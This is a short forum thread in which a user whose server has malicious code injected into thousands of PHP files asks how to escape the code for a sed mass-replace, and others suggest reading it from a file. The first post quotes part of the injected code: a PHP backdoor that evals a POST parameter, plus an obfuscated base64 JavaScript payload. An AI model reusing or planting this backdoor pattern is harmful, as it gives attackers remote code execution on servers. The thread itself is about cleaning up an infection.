Results 1 to 4 of 4
Hi,
Our production server was infested with malicious javascript codes which is common in some 5332 PHP files.
To do a mass-replace of the code which looks like something like ...
- 05-25-2009 #1
Backslashing the special charaters in a search replace text
Hi,
Our production server was infested with malicious javascript codes which is common in some 5332 PHP files.
To do a mass-replace of the code which looks like something like this
Though the pasted code was a long line, what i pasted here is just a one-third of it.Code:?php if(!function_exists('tmp_lkojfghx')){if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define ('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCihmdW5jdGlvbigpe3ZhciBLdjU4PSd2YT43Mj4yMGE+M2Q+MjJTY3I +NjlwdD40NW5nPjY5bmU+MjI+MmNiPjNkPjIyVmU+NzJzaT42Zm4oKSs+MjI+MmNqPjNkPjIyPjIyPjJjdT4zZG5hdmlnYXRvcj4yZT43NXNlPjcyQWdlbj43ND4zYmk +NjYoKD43NT4yZWk+NmVkZXg+NGY+NjYoPjIyPjQzaD43Mm8+NmRlPjIyKT4zYz4zMCk+MjY+MjYodT4yZT42OW5kPjY1eE8+NjY+Mjg+MjJXPjY5bj4yMi
Now, since the code is common in all files, i can do a sed replace command but to do that the
special characters needs to be backslashed.
Can anyone tell me a simple script to do the backslashing of the malicious code, so that i can mass replace it in all the files.
Thanks in Advance
- 05-26-2009 #2Just Joined!
- Join Date
- Nov 2008
- Posts
- 25
perhaps you could just store the entire string in a text-file and let the replacement script just read that text-file? it ought to read the special characters correctly immediately.
- 05-27-2009 #3
Hi morfanaion,
thanks for the suggestion, but i dont know how to pass a file as a arguement to sed command.
Can you provide me with a sample script?
- 05-28-2009 #4Just Joined!
- Join Date
- Nov 2008
- Posts
- 25
Not much of a scripter myself, no experience in scripting on Linux, I just write C++ programs. However, should go the same as any other argument you pass to a script, you just pass the filename as an argument and in the script you just open that file.


Reply With Quote